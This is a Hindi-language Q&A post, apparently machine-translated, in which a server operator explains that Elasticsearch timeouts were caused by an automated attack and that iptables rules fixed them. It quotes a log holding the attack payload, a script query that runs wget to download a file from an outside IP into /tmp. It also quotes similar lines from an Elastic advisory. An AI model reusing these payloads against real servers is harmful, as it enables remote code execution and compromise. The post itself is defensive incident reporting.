MongoDB
 sql >> डेटाबेस >  >> NoSQL >> MongoDB

पुनः आरंभ होने तक प्रत्येक खोज अनुरोध पर इलास्टिक्स खोज समय समाप्त हो जाता है

समस्या हल हो गई:

कारण: हमारे सर्वर पर एक रोबोटिक हमला जो असुरक्षित थे।

इलास्टिक्स खोज द्वारा पोस्ट किए गए एक लेख के अनुसार:

https://www.elastic.co/blog/scripting-security/

कार्रवाई की गई: हमने अपने सभी इलास्टिक्स खोज सर्वरों को लागू करने के लिए अपने कठपुतली सर्वर में iptables नियम जोड़े हैं।

हमने वह गलती की और दुर्भाग्य से हमने कीमत चुकाई। हम वापस आ गए हैं और अभी चल रहे हैं।

खैर, लॉग के अनुसार, मुझे कुछ बहुत ही संदिग्ध लगा

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

मैं मुख्य भाग को काट दूंगा:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

यह एक रोबोट हैक का रूप है, चूंकि हमारे पास जिओ नाम का कोई नहीं है या हम चीन में अपने सर्वर होस्ट नहीं करते हैं (जीईओ-आईपी के अनुसार), हमें इस लाइन पर संदेह था।

ऊपर वर्णित लेख के अनुसार:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

हैकर ने कुछ ग़लत क्वेरीज़ लागू कीं, जिन्होंने हमारी इलास्टिक्स खोज को काम करना बंद कर दिया।

हमने अपने सर्वर को फिर से शुरू किया और Iptables को जोड़ा, और हम व्यवसाय में वापस आ गए हैं।




  1. Redis
  2.   
  3. MongoDB
  4.   
  5. Memcached
  6.   
  7. HBase
  8.   
  9. CouchDB
  1. MongoDB यौगिक सूचकांक उपयोग

  2. कोयब पर मोंगोडीबी एटलस और अपोलो सर्वर के साथ एक ग्राफक्यूएल एपीआई तैनात करें

  3. MongoEngine का उपयोग करके क्रमबद्ध करें?

  4. Mongoose के साथ Mongodb डेटाबेस का क्लोन कैसे बनाएं

  5. आपकी MongoDB सुरक्षा में सुधार करने के लिए 10 युक्तियाँ